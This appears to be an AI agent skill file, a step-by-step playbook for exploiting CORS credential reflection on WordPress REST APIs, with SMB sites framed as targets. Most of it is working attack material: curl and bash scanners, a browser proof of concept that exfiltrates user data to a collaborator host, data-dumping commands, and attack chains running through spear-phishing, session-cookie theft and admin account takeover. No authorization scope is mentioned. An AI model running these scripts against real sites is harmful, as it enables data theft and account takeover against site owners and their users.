cors-credential-wordpress

CORS Credential WordPress Skill

Detect, confirm, and exploit CORS credential reflection on WordPress REST API endpoints. CORS misconfiguration is one of the most common critical findings in US SMB WordPress sites (~7-8% of all WP targets), enabling cross-origin data exfiltration with victim cookies. Documents 8 CORS variants and full browser PoC construction.

When to Use

• After wp-mass-recon flags a target with Access-Control-Allow-Credentials: true.
• Testing any WordPress site's REST API for cross-origin data access.
• Building attack chains: CORS → user enumeration → spear-phishing → ATO.
• Validating whether a CORS finding is exploitable (not just present).

Prerequisites

• curl and python3.
• web_extract or browser_navigate for browser PoC verification.
• Target must have WordPress REST API accessible (/wp-json/wp/v2/).

How to Run

# Quick detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -iE "access-control"

# Full CORS matrix (10 endpoints)
for ep in "users" "posts" "pages" "media" "comments" "categories" "tags" "settings" "plugins" "themes"; do
  echo "=== /wp-json/wp/v2/$ep ==="
  curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/$ep" -H "Origin: https://evil.com" | grep -iE "access-control|http/"
  echo ""
done

Quick Reference

Variant	Detection	Exploitability
Origin reflection + creds	Access-Control-Allow-Credentials: true + mirror Origin	Critical — full data theft
Null origin	Access-Control-Allow-Origin: null	High — sandboxed iframes
Wildcard no creds	Access-Control-Allow-Origin: * (no creds)	Info — public data only
Credentialed preflight	OPTIONS returns 200 + ACAC	High — if GET without preflight
Auth-only leak	CORS only on auth-protected endpoints	High — cookie theft
Multi-origin	Multiple origins reflected	Critical — broader attack surface
Plugin-specific CORS	CORS only on plugin namespace	Medium — plugin data
Staging-only CORS	Production has no CORS, staging does	Medium — dependent on staging access

Procedure

Step 1 — Single-Endpoint Detection

curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" \
  -H "Origin: https://evil.com" \
  -H "User-Agent: Mozilla/5.0" 2>&1

Positive signals:

• Access-Control-Allow-Origin: https://evil.com (mirrors attacker origin)
• Access-Control-Allow-Credentials: true (sends cookies cross-origin)
• Access-Control-Allow-Methods: GET (data exfiltration vector)
• HTTP 200 on the endpoint itself (data is accessible)

Step 2 — Multi-Endpoint CORS Matrix

#!/bin/bash
TARGET="$1"
ENDPOINTS=(
  "wp/v2/users"
  "wp/v2/posts"
  "wp/v2/pages"
  "wp/v2/media"
  "wp/v2/comments"
  "wp/v2/categories"
  "wp/v2/tags"
  "wc/v3/products"
  "wc/v3/orders"
  "gf/v2/forms"
  "elementor/v1/globals"
  "revslider/v1/slides"
)

for ep in "${ENDPOINTS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep")
  if [[ "$code" == "200" ]]; then
    cors=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
    if [[ -n "$cors" ]]; then
      echo "[CRITICAL] CORS ON: /wp-json/$ep — data accessible cross-origin"
    fi
  fi
done

Step 3 — Browser PoC (save as poc.html)

<script>
fetch("https://TARGET/wp-json/wp/v2/users", {
  credentials: "include",
  headers: { "Origin": "https://evil.com" }
})
.then(r => r.json())
.then(data => {
  fetch("https://YOUR_COLLABORATOR/log?d=" + btoa(JSON.stringify(data)));
});
</script>

Step 4 — Data Exfiltration Payloads

# Exfiltrate users with emails
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/users?context=edit" \
  -H "Origin: https://evil.com" | python3 -m json.tool | grep -E '"id"|"name"|"slug"|"email"|"roles"'

# Exfiltrate all posts
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/posts?per_page=100" \
  -H "Origin: https://evil.com" | python3 -c "
import sys, json
posts = json.load(sys.stdin)
for p in posts:
    print(f\"{p['id']}: {p['title']['rendered']}\")
" 2>/dev/null

# Exfiltrate WooCommerce products
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wc/v3/products" \
  -H "Origin: https://evil.com" | python3 -m json.tool 2>/dev/null | head -50

Attack Chains

Chain A: CORS → User Enum → Spear-Phish → ATO

1. CORS exfiltrates all users with names/slugs
2. Craft spear-phishing email to admin ([email protected])
3. Link to CORS phishing page that steals WP session cookie
4. Login as admin with stolen session → full site compromise

Chain B: CORS → Cookie Theft → API Access → ATO

1. Victim visits attacker page while logged into target WP
2. CORS fetch with credentials: "include" sends WP auth cookie
3. Attacker replays cookie to access /wp-admin/ as victim
4. Change admin email, reset password → persistent access

Pitfalls

• Preflight blocking: Some servers require OPTIONS preflight for CORS requests with custom headers. Test with both simple GET (no preflight) and credentialed fetch (triggers preflight).
• SameSite cookies: SameSite=Lax or SameSite=Strict cookies won't send cross-origin even with CORS. Check cookie attributes in browser.
• WAF interference: Cloudflare may strip Origin header or block cross-origin requests. Test from non-Cloudflare IP.
• False positive: Access-Control-Allow-Origin: * without credentials — this is public data, not a vulnerability. The key is Access-Control-Allow-Credentials: true.

Verification

• The curl command MUST show Access-Control-Allow-Credentials: true AND an Access-Control-Allow-Origin that matches the attacker's origin (not *).
• Browser PoC MUST successfully fetch data from a different origin with credentials.
• The exfiltrated data MUST contain non-public information (users, posts, settings — not just public WP metadata).